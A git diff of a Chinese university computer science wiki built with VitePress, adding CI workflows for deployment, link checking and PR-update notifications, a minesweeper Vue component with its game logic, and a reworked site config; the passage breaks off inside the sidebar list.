diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..3901ff5 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,3 @@ +本次更新的内容主要为... + +欢迎前来学习 diff --git a/.github/workflows/cos.yaml b/.github/workflows/cos.yaml index e7ed034..282e6e6 100644 --- a/.github/workflows/cos.yaml +++ b/.github/workflows/cos.yaml @@ -7,21 +7,24 @@ on: jobs: build: + if: github.repository == 'camera-2018/hdu-cs-wiki' runs-on: ubuntu-latest steps: - name: checkout - uses: actions/checkout@master - - - name: install dependencies - run: | - sudo pip install coscmd - sudo pip install tccli - npm i + uses: actions/checkout@v3 + + - name: install doc dependencies + run: sudo npm i - name: build run: | npm run docs:build + + - name: install coscmd and tccli + run: | + sudo pip3 install coscmd + sudo pip3 install tccli - name: confirgure coscmd and tccli env: @@ -30,7 +33,7 @@ jobs: BUCKET: hdu-cs-wiki-1307923872 REGION: ap-shanghai run: | - coscmd config -a $SECRET_ID -s $SECRET_KEY -b $BUCKET -r $REGION -m 30 -p 10 + coscmd config -a $SECRET_ID -s $SECRET_KEY -b $BUCKET -r $REGION -m 10 -p 5 tccli configure set secretId $SECRET_ID tccli configure set secretKey $SECRET_KEY tccli configure set region $REGION @@ -38,4 +41,4 @@ jobs: - name: upload and refresh cdn run: | coscmd upload -rfs --delete ./.vitepress/dist/ / - tccli cdn PurgePathCache --cli-unfold-argument --Paths https://wiki.xyxsw.site/ --FlushType flush \ No newline at end of file + tccli cdn PurgePathCache --cli-unfold-argument --Paths https://wiki.xyxsw.site/ --FlushType flush diff --git a/.github/workflows/link-pr.yaml b/.github/workflows/link-pr.yaml new file mode 100644 index 0000000..eb4a288 --- /dev/null +++ b/.github/workflows/link-pr.yaml @@ -0,0 +1,42 @@ +name: links when pr + +on: + pull_request: + branches: [ master ] + paths: + - '**.md' + - '.lycheeignore' + +jobs: + linkChecker: + runs-on: ubuntu-latest + steps: + - name: checkout + uses: actions/checkout@v3 + + - name: install doc dependencies + run: sudo npm i + + - name: build + run: | + npm run docs:build + + - name: Link Checker + uses: lycheeverse/lychee-action@v1.8.0 + with: + fail: true + # For parameter description, see https://github.com/lycheeverse/lychee#commandline-parameters + # -E, --exclude-all-private Exclude all private IPs from checking. + # -i, --insecure Proceed for server connections considered insecure (invalid TLS) + # -n, --no-progress Do not show progress bar. + # -t, --timeout Website timeout in seconds from connect to response finished [default:20] + # --max-concurrency Maximum number of concurrent network requests [default: 128] + # -a --accept Comma-separated list of accepted status codes for valid links + # --max-retries Maximum number of retries per request + # -r, --retry-wait-time Minimum wait time in seconds between retries of failed requests + # -u, --user-agent User agent + # *.md all markdown files in the root directory + args: -E -i -n -t 45 -r 3 --max-retries 5 --max-concurrency 64 -a 401,403 -u "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" -- '.vitepress/dist' '*.md' + + env: + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} diff --git a/.github/workflows/link-schedule.yaml b/.github/workflows/link-schedule.yaml new file mode 100644 index 0000000..b2c25f5 --- /dev/null +++ b/.github/workflows/link-schedule.yaml @@ -0,0 +1,49 @@ +name: links schedule + +on: + # repository_dispatch: + workflow_dispatch: + schedule: + - cron: "0 0 */3 * *" + +permissions: + issues: write + +jobs: + linkChecker: + runs-on: ubuntu-latest + steps: + - name: checkout + uses: actions/checkout@v3 + + - name: install doc dependencies + run: sudo npm i + + - name: build + run: | + npm run docs:build + + - name: Link Checker + uses: lycheeverse/lychee-action@v1.8.0 + with: + # For parameter description, see https://github.com/lycheeverse/lychee#commandline-parameters + # -E, --exclude-all-private Exclude all private IPs from checking. + # -i, --insecure Proceed for server connections considered insecure (invalid TLS) + # -n, --no-progress Do not show progress bar. + # -t, --timeout Website timeout in seconds from connect to response finished [default:20] + # --max-concurrency Maximum number of concurrent network requests [default: 128] + # -a --accept Comma-separated list of accepted status codes for valid links + # --max-retries Maximum number of retries per request + # -r, --retry-wait-time Minimum wait time in seconds between retries of failed requests + # -u, --user-agent User agent + # *.md all markdown files in the root directory + args: -E -i -n -t 45 -r 3 --max-retries 5 --max-concurrency 64 -a 401,403 -u "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" -- '.vitepress/dist' '*.md' + output: out.md + env: + GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}} + - name: Create Issue From File + uses: peter-evans/create-issue-from-file@v4 + with: + title: Broken Link Detected + content-filepath: out.md + assignees: camera-2018 diff --git a/.github/workflows/subscribe.yaml b/.github/workflows/subscribe.yaml new file mode 100644 index 0000000..31bf625 --- /dev/null +++ b/.github/workflows/subscribe.yaml @@ -0,0 +1,50 @@ +name: Subscribe to updates + +on: + pull_request: + types: + - closed + branches: + - 'master' + paths: + - '**.md' +jobs: + subscribe: + if: github.event.pull_request.merged == true + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 # OR "2" -> To retrieve the preceding commit. + + - name: Changed Files Exporter + id: changed-files + uses: umani/changed-files@v4.0.0 + with: + repo-token: ${{ github.token }} + pattern: '^.*\.(md|markdown)$' + + - name: Get PR labels + id: pr-labels + uses: joerick/pr-labels-action@v1.0.8 + + - name: Post Data + id: post-data + uses: octokit/request-action@v2.x + with: + route: POST https://np4l5e.laf.run/pr + repo: ${{github.event.repository.full_name}} + title: ${{ github.event.pull_request.title }} + work_branch: ${{ steps.branch.outputs.work_branch }} + base_branch: ${{ steps.branch.outputs.base_branch }} + id: ${{ github.event.pull_request.number }} + labels: ${{ steps.pr-labels.outputs.labels }} + files_updated: ${{ steps.changed-files.outputs.files_updated }} + files_created: ${{ steps.changed-files.outputs.files_created }} + files_deleted: ${{ steps.changed-files.outputs.files_deleted }} + source_url: ${{ github.event.pull_request.html_url }} + content: | + | + ${{ github.event.pull_request.body }} + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.gitignore b/.gitignore index 03d85d5..8040e26 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ node_modules dist cache -.temp \ No newline at end of file +.temp +.vitepress/dist diff --git a/.lycheeignore b/.lycheeignore new file mode 100644 index 0000000..ba2d947 --- /dev/null +++ b/.lycheeignore @@ -0,0 +1,9 @@ +hdu-cs-wiki/edit +file:// +https://adworld.xctf.org.cn/challenges/list +https://e5c78mnhgz.feishu.cn/docx/doxcnxBONvnxSLi0MfaNZWvrcSb +https://datawhale.feishu.cn/docs/doccn0AOicI3LJ8RwhY0cuDPSOc# +https://message.hdu-cs.wiki/ +https://adworld.xctf.org.cn/ +http://sequence-gallery.chal.crewc.tf:8080/ +https://www.csie.ntu.edu.tw/~b97053/paper/Rendle2010FM.pdf \ No newline at end of file diff --git a/.vitepress/components/Confetti.vue b/.vitepress/components/Confetti.vue new file mode 100644 index 0000000..ab08d7b --- /dev/null +++ b/.vitepress/components/Confetti.vue @@ -0,0 +1,65 @@ + + + diff --git a/.vitepress/components/CustomNotFound.vue b/.vitepress/components/CustomNotFound.vue new file mode 100644 index 0000000..04d5cf6 --- /dev/null +++ b/.vitepress/components/CustomNotFound.vue @@ -0,0 +1,111 @@ + + + + + \ No newline at end of file diff --git a/.vitepress/components/CustomSwitchAppearance.vue b/.vitepress/components/CustomSwitchAppearance.vue new file mode 100644 index 0000000..55c7673 --- /dev/null +++ b/.vitepress/components/CustomSwitchAppearance.vue @@ -0,0 +1,183 @@ + + + + + + + \ No newline at end of file diff --git a/.vitepress/components/MineBlock.vue b/.vitepress/components/MineBlock.vue new file mode 100644 index 0000000..65a0276 --- /dev/null +++ b/.vitepress/components/MineBlock.vue @@ -0,0 +1,73 @@ + + + + + \ No newline at end of file diff --git a/.vitepress/components/sweep.vue b/.vitepress/components/sweep.vue new file mode 100644 index 0000000..8ca4915 --- /dev/null +++ b/.vitepress/components/sweep.vue @@ -0,0 +1,161 @@ + + + + + \ No newline at end of file diff --git a/.vitepress/composables/logic.js b/.vitepress/composables/logic.js new file mode 100644 index 0000000..b9a56b6 --- /dev/null +++ b/.vitepress/composables/logic.js @@ -0,0 +1,210 @@ +import { ref } from 'vue'; + +const directions = [ + [1, 1], + [1, 0], + [1, -1], + [0, -1], + [-1, -1], + [-1, 0], + [-1, 1], + [0, 1], +]; + +export class GamePlay { + state = ref(); + + constructor(width, height, mines) { + this.width = width; + this.height = height; + this.mines = mines; + this.reset(); + } + + get board() { + return this.state.value.board; + } + + get blocks() { + return this.state.value.board.flat(); + } + + reset(width = this.width, height = this.height, mines = this.mines) { + this.width = width; + this.height = height; + this.mines = mines; + + this.state.value = { + startMS: +Date.now(), + endMS: undefined, // 确保结束时间戳被重置 + mineGenerated: false, + status: 'play', + board: Array.from({ length: this.height }, (_, y) => + Array.from({ length: this.width }, (_, x) => ({ + x, + y, + mine: false, // 初始化 mine 属性 + flagged: false, // 初始化 flagged 属性 + adjacentMines: 0, + revealed: false, + }), + ), + ), + }; + } + + randomRange(min, max) { + return Math.random() * (max - min) + min; + } + + randomInt(min, max) { + return Math.round(this.randomRange(min, max)); + } + + generateMines(state, initial) { + const placeRandom = () => { + const x = this.randomInt(0, this.width - 1); + const y = this.randomInt(0, this.height - 1); + const block = state[y][x]; + if (Math.abs(initial.x - block.x) <= 1 && Math.abs(initial.y - block.y) <= 1) + return false; + if (block.mine) + return false; + block.mine = true; + return true; + }; + Array.from({ length: this.mines }, () => null) + .forEach(() => { + let placed = false; + let attempts = 0; + const maxAttempts = 1000; + while (!placed) { + if (attempts++ > maxAttempts) { + this.reset(); + break; + } + placed = placeRandom(); + } + }); + this.updateNumbers(); + } + + updateNumbers() { + this.board.forEach((raw) => { + raw.forEach((block) => { + if (block.mine) + return; + this.getSiblings(block) + .forEach((b) => { + if (b.mine) + block.adjacentMines += 1; + }); + }); + }); + } + + expendZero(block) { + if (block.adjacentMines) + return; + + this.getSiblings(block) + .forEach((s) => { + if (!s.revealed) { + s.revealed = true; + this.expendZero(s); + } + }); + } + + onRightClick(block) { + if (this.state.value.status !== 'play') + return; + + if (block.revealed) + return; + block.flagged = !block.flagged; + } + + onClick(block) { + if (this.state.value.status !== 'play') + return; + + if (!this.state.value.mineGenerated) { + this.generateMines(this.board, block); + this.state.value.mineGenerated = true; + } + + block.revealed = true; + if (block.mine) { + this.onGameOver('lost'); + return; + } + + this.expendZero(block); + } + + getSiblings(block) { + return directions.map(([dx, dy]) => { + const x2 = block.x + dx; + const y2 = block.y + dy; + if (x2 < 0 || x2 >= this.width || y2 < 0 || y2 >= this.height) + return undefined; + return this.board[y2][x2]; + }) + .filter(Boolean); + } + + showAllMines() { + this.board.flat().forEach((i) => { + if (i.mine) + i.revealed = true; + }); + } + + checkGameState() { + if (!this.state.value.mineGenerated) + return; + const blocks = this.board.flat(); + + if (blocks.every(block => block.revealed || block.flagged || block.mine)) { + if (blocks.some(block => block.flagged && !block.mine)) + this.onGameOver('lost'); + else + this.onGameOver('won'); + } + } + + autoExpand(block) { + const siblings = this.getSiblings(block); + const flags = siblings.reduce((a, b) => a + (b.flagged ? 1 : 0), 0); + const notRevealed = siblings.reduce((a, b) => a + (!b.revealed && !b.flagged ? 1 : 0), 0); + if (flags === block.adjacentMines) { + siblings.forEach((i) => { + if (i.revealed || i.flagged) + return; + i.revealed = true; + this.expendZero(i); + if (i.mine) + this.onGameOver('lost'); + }); + } + const missingFlags = block.adjacentMines - flags; + if (notRevealed === missingFlags) { + siblings.forEach((i) => { + if (!i.revealed && !i.flagged) + i.flagged = true; + }); + } + } + + onGameOver(status) { + this.state.value.status = status; + this.state.value.endMS = +Date.now(); + if (status === 'lost') { + this.showAllMines(); + setTimeout(() => { + alert('lost'); + }, 10); + } + } +} diff --git a/.vitepress/config.js b/.vitepress/config.js index 2fbd548..145c222 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -1,668 +1,62 @@ -import { defineConfig } from 'vitepress' - -import mathjax3 from 'markdown-it-mathjax3'; - -const customElements = [ - 'mjx-container', - 'mjx-assistive-mml', - 'math', - 'maction', - 'maligngroup', - 'malignmark', - 'menclose', - 'merror', - 'mfenced', - 'mfrac', - 'mi', - 'mlongdiv', - 'mmultiscripts', - 'mn', - 'mo', - 'mover', - 'mpadded', - 'mphantom', - 'mroot', - 'mrow', - 'ms', - 'mscarries', - 'mscarry', - 'mscarries', - 'msgroup', - 'mstack', - 'mlongdiv', - 'msline', - 'mstack', - 'mspace', - 'msqrt', - 'msrow', - 'mstack', - 'mstack', - 'mstyle', - 'msub', - 'msup', - 'msubsup', - 'mtable', - 'mtd', - 'mtext', - 'mtr', - 'munder', - 'munderover', - 'semantics', - 'math', - 'mi', - 'mn', - 'mo', - 'ms', - 'mspace', - 'mtext', - 'menclose', - 'merror', - 'mfenced', - 'mfrac', - 'mpadded', - 'mphantom', - 'mroot', - 'mrow', - 'msqrt', - 'mstyle', - 'mmultiscripts', - 'mover', - 'mprescripts', - 'msub', - 'msubsup', - 'msup', - 'munder', - 'munderover', - 'none', - 'maligngroup', - 'malignmark', - 'mtable', - 'mtd', - 'mtr', - 'mlongdiv', - 'mscarries', - 'mscarry', - 'msgroup', - 'msline', - 'msrow', - 'mstack', - 'maction', - 'semantics', - 'annotation', - 'annotation-xml', -]; +// import { defineConfig } from 'vitepress' +import { withMermaid } from "vitepress-plugin-mermaid-xyxsw"; +import { main_sidebar, chapter2, chapter3, chapter4, chapter5, chapter6, chapter7, chapter8, chapter9 } from './sidebar.js'; +import { nav } from './nav.js'; +import PanguPlugin from 'markdown-it-pangu' +import { fileURLToPath, URL } from 'node:url' +import VueMacros from 'unplugin-vue-macros/vite' // https://vitepress.dev/reference/site-config -export default defineConfig({ +export default withMermaid({ lang: 'zh-CN', title: "HDU-CS-WIKI", - description: "HDU计算机科学讲义", + description: "HDU 计算机科学讲义", lastUpdated: true, - head: [['script', { async: "async", src: 'https://umami.hdu-cs.wiki/script.js', "data-website-id": "3f11687a-faae-463a-b863-6127a8c28301", "data-domains": "wiki.xyxsw.site,hdu-cs.wiki" }]], + cleanUrls: true, + head: [ + ['script', { async: "async", src: 'https://umami.hdu-cs.wiki/script.js', "data-website-id": "3f11687a-faae-463a-b863-6127a8c28301", "data-domains": "wiki.xyxsw.site,hdu-cs.wiki" }], + ['link', { rel: 'icon', href: '/favicon.ico' }], + ["meta", { "name": "description", "content": "HDU计算机科学讲义" }], + ["meta", { "property": "og:url", "content": "https://hdu-cs.wiki/" }], + ["meta", { "property": "og:type", "content": "website" }], + ["meta", { "property": "og:title", "content": "HDU-CS-WIKI | HDU-CS-WIKI" }], + ["meta", { "property": "og:description", "content": "HDU计算机科学讲义" }], + ["meta", { "property": "og:image", "content": "https://cdn.xyxsw.site/og-img.png" }], + ["meta", { "name": "twitter:card", "content": "summary_large_image" }], + ["meta", { "property": "twitter:domain", "content": "hdu-cs.wiki" }], + ["meta", { "property": "twitter:url", "content": "https://hdu-cs.wiki/" }], + ["meta", { "name": "twitter:title", "content": "HDU-CS-WIKI | HDU-CS-WIKI" }], + ["meta", { "name": "twitter:description", "content": "HDU计算机科学讲义" }], + ["meta", { "name": "twitter:image", "content": "https://cdn.xyxsw.site/og-img.png" }], + ["link", { "rel": "apple-touch-icon", "sizes": "180x180", "href": "/apple-touch-icon.png" }], + ["link", { "rel": "icon", "type": "image/png", "sizes": "32x32", "href": "/favicon-32x32.png" }], + ["link", { "rel": "icon", "type": "image/png", "sizes": "16x16", "href": "/favicon-16x16.png" }], + ["link", { "rel": "manifest", "href": "/site.webmanifest" }], + ["link", { "rel": "mask-icon", "href": "/safari-pinned-tab.svg", "color": "#5bbad5" }], + ["meta", { "name": "msapplication-TileColor", "content": "#2b5797" }], + ], themeConfig: { // https://vitepress.dev/reference/default-theme-config - nav: [ - { text: '首页', link: '/' }, - ], + nav: nav(), - sidebar: [ - { - text: '简介', - collapsed: true, - items: [ - { text: '简介', link: '/简介' }, - { text: '使用指南', link: '/使用指南' }, - ] - }, - { - text: '1.杭电生存指南(最重要模块)', - collapsed: true, - items: [ - { text: '1.1人文社科的重要性(韩健夫老师寄语)', link: '/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语)' }, - { text: '1.2竞赛指北', link: '/1.杭电生存指南/1.2竞赛指北' }, - { text: '1.3导师选择', link: '/1.杭电生存指南/1.3导师选择' }, - { text: '1.4小心项目陷阱', link: '/1.杭电生存指南/1.4小心项目陷阱' }, - { text: '1.5小组作业避雷指南', link: '/1.杭电生存指南/1.5小组作业避雷指南' }, - { text: '1.6正确解读GPA', link: '/1.杭电生存指南/1.6正确解读GPA' }, - { text: '1.7杭电出国自救指南', link: '/1.杭电生存指南/1.7杭电出国自救指南' }, - { text: '1.8转专业二三事', link: '/1.杭电生存指南/1.8转专业二三事' }, - { text: '1.9问题专题:好想进入实验室', link: '/1.杭电生存指南/1.9问题专题:好想进入实验室' }, - { text: '1.10如何读论文', link: '/1.杭电生存指南/1.10如何读论文' }, - { text: '1.11陷入虚无主义?进来看看吧', link: '/1.杭电生存指南/1.11陷入虚无主义?进来看看吧' }, - { text: '1.12程序员如何活久一点', link: '/1.杭电生存指南/1.12程序员如何活久一点' }, - { text: '1.13选课原则与抢课技巧', link: '/1.杭电生存指南/1.13选课原则与抢课技巧' }, - ] - }, - { - text: '2.高效学习', - collapsed: true, - items: [ - { text: '2.高效学习', link: '/2.高效学习/2.高效学习' }, - { - text: '2.1高效的前提:摆脱高中思维', - collapsed: true, - items: [ - { text: '2.1高效的前提:摆脱高中思维', link: '/2.高效学习/2.1高效的前提:摆脱高中思维' }, - { text: '2.1.1悲壮的学习方式', link: '/2.高效学习/2.1.1悲壮的学习方式' }, - { text: '2.1.2浮躁的心理状态', link: '/2.高效学习/2.1.2浮躁的心理状态' }, - { text: '2.1.3错误的提问姿态', link: '/2.高效学习/2.1.3错误的提问姿态' }, - { text: '2.1.4书籍的盲目崇拜', link: '/2.高效学习/2.1.4书籍的盲目崇拜' }, - { text: '2.1.5错误的学习配比', link: '/2.高效学习/2.1.5错误的学习配比' }, - ] - }, - { text: '2.2优雅的使用工具', link: '/2.高效学习/2.2优雅的使用工具' }, - { - text: '2.3高效的信息检索', - collapsed: true, - items: [ - { text: '2.3高效的信息检索', link: '/2.高效学习/2.3高效的信息检索' }, - { text: '2.3.1阅读文档(B百度爬)', link: '/2.高效学习/2.3.1阅读文档(B百度爬)' }, - { text: '2.3.2检索论文核心内容', link: '/2.高效学习/2.3.2检索论文核心内容' }, - { text: '2.3.3优秀的开源社区', link: '/2.高效学习/2.3.3优秀的开源社区' }, - { text: '补充:为什么不要用百度', link: '/2.高效学习/补充:为什么不要用百度' }, - ] - }, - { text: '2.4优雅的记笔记', link: '/2.高效学习/2.4优雅的记笔记' }, - { text: '2.5以理工科的方式阅读英语', link: '/2.高效学习/2.5以理工科的方式阅读英语' }, - ] - }, - { - text: '3.编程思维体系构建', - collapsed: true, - items: [ - { text: '3.编程思维体系构建', link: '/3.编程思维体系构建/3.编程思维体系构建' }, - { text: '3.0 编程入门之道', link: '/3.编程思维体系构建/3.0 编程入门之道' }, - { text: '3.1该使用哪个编辑器???', link: '/3.编程思维体系构建/3.1该使用哪个编辑器???' }, - { - text: '3.2算法杂谈', - collapsed: true, - items: [ - { text: '3.2算法杂谈', link: '/3.编程思维体系构建/3.2算法杂谈' }, - { text: '3.2.1为什么要选择ACM——谈谈我与ACM', link: '/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM' }, - { text: '3.2.2手把手教你学算法——如何使用OJ(Online Judge)', link: '/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge)' }, - { text: '3.2.3ACM 竞赛从入门到入坟', link: '/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟' }, - ] - }, - { text: '3.3如何选择编程语言', link: '/3.编程思维体系构建/3.3如何选择编程语言' }, - { - text: '3.4C语言', - collapsed: true, - items: [ - { text: '3.4C语言', link: '/3.编程思维体系构建/3.4C语言' }, - { text: '3.4.1FAQ:常见问题', link: '/3.编程思维体系构建/3.4.1FAQ:常见问题' }, - { text: '3.4.2用什么写 C 语言', link: '/3.编程思维体系构建/3.4.2用什么写 C 语言' }, - { text: '3.4.3解决编程问题的普适性过程', link: '/3.编程思维体系构建/3.4.3解决编程问题的普适性过程' }, - { text: '3.4.4C语言前置概念学习', link: '/3.编程思维体系构建/3.4.4C语言前置概念学习' }, - { - text: '3.4.5阶段一:编程属性', - collapsed: true, - items: [ - { text: '3.4.5阶段一:编程属性', link: '/3.编程思维体系构建/3.4.5阶段一:编程属性' }, - { text: '3.4.5.1C语言自测标准——链表', link: '/3.编程思维体系构建/3.4.5.1C语言自测标准——链表' }, - ] - }, - { - text: '3.4.6阶段二:文字冒险(cool)', - collapsed: true, - items: [ - { text: '3.4.6阶段二:文字冒险(cool)', link: '/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool)' }, - { text: '3.4.6.1.开始冒险', link: '/3.编程思维体系构建/3.4.6.1.开始冒险' }, - { text: '3.4.6.2.探索未知', link: '/3.编程思维体系构建/3.4.6.2.探索未知' }, - { text: '3.4.6.3.指明地点', link: '/3.编程思维体系构建/3.4.6.3.指明地点' }, - { text: '3.4.6.4.创建对象', link: '/3.编程思维体系构建/3.4.6.4.创建对象' }, - { text: '3.4.6.5.捡起物品', link: '/3.编程思维体系构建/3.4.6.5.捡起物品' }, - { text: '3.4.6.6.绘制地图', link: '/3.编程思维体系构建/3.4.6.6.绘制地图' }, - { text: '3.4.6.7.增大距离', link: '/3.编程思维体系构建/3.4.6.7.增大距离' }, - { text: '3.4.6.8.移动方向', link: '/3.编程思维体系构建/3.4.6.8.移动方向' }, - { text: '3.4.6.9.练习:生成代码', link: '/3.编程思维体系构建/3.4.6.9.练习:生成代码' }, - { text: '3.4.6.10.增添属性', link: '/3.编程思维体系构建/3.4.6.10.增添属性' }, - { text: '3.4.6.11.设置条件', link: '/3.编程思维体系构建/3.4.6.11.设置条件' }, - { text: '3.4.6.12.开启关闭', link: '/3.编程思维体系构建/3.4.6.12.开启关闭' }, - { text: '3.4.6.13.编写解析器', link: '/3.编程思维体系构建/3.4.6.13.编写解析器' }, - { text: '3.4.6.14.丰富命令', link: '/3.编程思维体系构建/3.4.6.14.丰富命令' }, - { text: '3.4.6.15.赋予明暗', link: '/3.编程思维体系构建/3.4.6.15.赋予明暗' }, - { text: '3.4.6.16.结语:你终将自由', link: '/3.编程思维体系构建/3.4.6.16.结语:你终将自由' }, - ] - }, - { - text: '3.4.7C基础知识杂谈', - collapsed: true, - items: [ - { text: '3.4.7C基础知识杂谈', link: '/3.编程思维体系构建/3.4.7C基础知识杂谈' }, - { text: '3.4.7.1GDB初探索(编程可阅览)', link: '/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览)' }, - { text: '3.4.7.1.1调试理论', link: '/3.编程思维体系构建/3.4.7.1.1调试理论' }, - { text: '3.4.7.2C的历史问题:undefined behavior', link: '/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior' }, - { text: '3.4.7.3C编译器干了什么', link: '/3.编程思维体系构建/3.4.7.3C编译器干了什么' }, - { text: '3.4.7.4Inline Assembly与链接加载', link: '/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载' }, - ] - }, - ] - }, - { text: '3.5git与github', link: '/3.编程思维体系构建/3.5git与github' }, - { - text: '3.6Python(灵巧的胶水)', - collapsed: true, - items: [ - { text: '3.6Python(灵巧的胶水)', link: '/3.编程思维体系构建/3.6Python(灵巧的胶水)' }, - { text: '3.6.1从CS61A看编程语言学习', link: '/3.编程思维体系构建/3.6.1从CS61A看编程语言学习' }, - { text: '3.6.2环境配置', link: '/3.编程思维体系构建/3.6.2环境配置' }, - { text: '3.6.3安装python', link: '/3.编程思维体系构建/3.6.3安装python' }, - { - text: '3.6.4Python for fun', - collapsed: true, - items: [ - { text: '3.6.4Python for fun', link: '/3.编程思维体系构建/3.6.4Python for fun' }, - { text: '3.6.4.0阶段零:Python解释器', link: '/3.编程思维体系构建/3.6.4.0阶段零:Python解释器' }, - { text: '3.6.4.1阶段一:熟悉语句', link: '/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句' }, - { text: '3.6.4.2阶段二:递归操作', link: '/3.编程思维体系构建/3.6.4.2阶段二:递归操作' }, - { text: '3.6.4.3阶段三:数据抽象', link: '/3.编程思维体系构建/3.6.4.3阶段三:数据抽象' }, - { text: '3.6.4.4阶段四:高阶函数', link: '/3.编程思维体系构建/3.6.4.4阶段四:高阶函数' }, - { text: '3.6.4.5阶段五:迭代生成', link: '/3.编程思维体系构建/3.6.4.5阶段五:迭代生成' }, - { text: '3.6.4.6结语', link: '/3.编程思维体系构建/3.6.4.6结语' }, - ] - } - ] - }, - { text: '3.X 聊聊设计模式和程序设计', link: '/3.编程思维体系构建/3.X 聊聊设计模式和程序设计' }, - { - text: '3.Y 附加模块:Linux', - collapsed: true, - items: [ - { text: '3.Y 附加模块:Linux', link: '/3.编程思维体系构建/3.Y 附加模块:Linux' }, - { text: '3.Y.1VMware的安装与安装Ubuntu22.04系统', link: '/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统' }, - { text: '3.Y.2WSL的安装', link: '/3.编程思维体系构建/3.Y.2WSL的安装' }, - { text: '3.Y.3Linux初探索', link: '/3.编程思维体系构建/3.Y.3Linux初探索' }, - { text: '3.Y.4Vim初探索', link: '/3.编程思维体系构建/3.Y.4Vim初探索' }, - { text: '3.Y.5linux小任务', link: '/3.编程思维体系构建/3.Y.5linux小任务' }, - ] - } - ] - }, - { - text: '4.人工智能', - collapsed: true, - items: [ - { text: '4.人工智能', link: '/4.人工智能/4.人工智能' }, - { text: '4.1前言', link: '/4.人工智能/4.1前言' }, - { text: '4.2机器学习(AI)快速入门(quick start)', link: '/4.人工智能/4.2机器学习(AI)快速入门(quick start)' }, - { - text: '4.3人工智能导论及机器学习入门', - collapsed: true, - items: [ - { text: '4.3人工智能导论及机器学习入门', link: '/4.人工智能/4.3人工智能导论及机器学习入门' }, - { - text: '4.3.1搜索', - collapsed: true, - items: [ - { text: '4.3.1搜索', link: '/4.人工智能/4.3.1搜索' }, - { text: '4.3.1.1程序示例——maze迷宫解搜索', link: '/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索' }, - { text: '4.3.1.2项目:Tic-Tac-Toe井字棋', link: '/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋' }, - ] - }, - { - text: '4.3.2知识推理', - collapsed: true, - items: [ - { text: '4.3.2知识推理', link: '/4.人工智能/4.3.2知识推理' }, - { text: '4.3.2.1程序示例——命题逻辑与模型检测', link: '/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测' }, - { text: '4.3.2.2项目:扫雷,骑士与流氓问题', link: '/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题' }, - ] - }, - { - text: '4.3.3不确定性问题', - collapsed: true, - items: [ - { text: '4.3.3不确定性问题', link: '/4.人工智能/4.3.3不确定性问题' }, - { text: '4.3.3.1程序示例', link: '/4.人工智能/4.3.3.1程序示例' }, - { text: '4.3.3.2项目:遗传', link: '/4.人工智能/4.3.3.2项目:遗传' }, - ] - }, - ] - }, - { text: '4.4FAQ:常见问题', link: '/4.人工智能/4.4FAQ:常见问题' }, - { - text: '4.6深度学习', - collapsed: true, - items: [ - { text: '4.6深度学习', link: '/4.人工智能/4.6深度学习' }, - { text: '4.6.1工欲善其事,必先利其器', link: '/4.人工智能/4.6.1工欲善其事,必先利其器' }, - { text: '4.6.2你可能会需要的术语介绍', link: '/4.人工智能/4.6.2你可能会需要的术语介绍' }, - { text: '4.6.3深度学习快速入门', link: '/4.人工智能/4.6.3深度学习快速入门' }, - { text: '4.6.4Pytorch安装', link: '/4.人工智能/4.6.4Pytorch安装' }, - { - text: '4.6.5计算机视觉(CV)', - collapsed: true, - items: [ - { text: '4.6.5计算机视觉(CV)', link: '/4.人工智能/4.6.5计算机视觉(CV)' }, - { text: '4.6.5.1CV领域任务(研究目标)', link: '/4.人工智能/4.6.5.1CV领域任务(研究目标)' }, - { - text: '4.6.5.2CV中的数据预处理(torchvision)', - collapsed: true, - items: [ - { text: '4.6.5.2CV中的数据预处理(torchvision)', link: '/4.人工智能/4.6.5.2CV中的数据预处理(torchvision)' }, - { text: '4.6.5.2.1数据读取', link: '/4.人工智能/4.6.5.2.1数据读取' }, - { text: '4.6.5.2.2数据增强', link: '/4.人工智能/4.6.5.2.2数据增强' }, - ] - }, - { - text: '4.6.5.3CV中的经典网络', - collapsed: true, - items: [ - { text: '4.6.5.3CV中的经典网络', link: '/4.人工智能/4.6.5.3CV中的经典网络' }, - { text: '4.6.5.3.1AlexNet', link: '/4.人工智能/4.6.5.3.1AlexNet' }, - { text: '4.6.5.3.2FCN', link: '/4.人工智能/4.6.5.3.2FCN' }, - { text: '4.6.5.3.3ResNet', link: '/4.人工智能/4.6.5.3.3ResNet' }, - { text: '4.6.5.3.4UNet', link: '/4.人工智能/4.6.5.3.4UNet' }, - { text: '4.6.5.3.5GAN', link: '/4.人工智能/4.6.5.3.5GAN' }, - { text: '4.6.5.3.6思考题参考', link: '/4.人工智能/4.6.5.3.6思考题参考' }, - { text: '4.6.5.3.7还要学更多?', link: '/4.人工智能/4.6.5.3.7还要学更多?' }, - ] - }, - { - text: '4.6.5.4神经辐射场(NeRF)', - collapsed: true, - items: [ - { text: '4.6.5.4神经辐射场(NeRF)', link: '/4.人工智能/4.6.5.4神经辐射场(NeRF)' }, - { text: '4.6.5.4.1NeRF', link: '/4.人工智能/4.6.5.4.1NeRF' }, - { text: 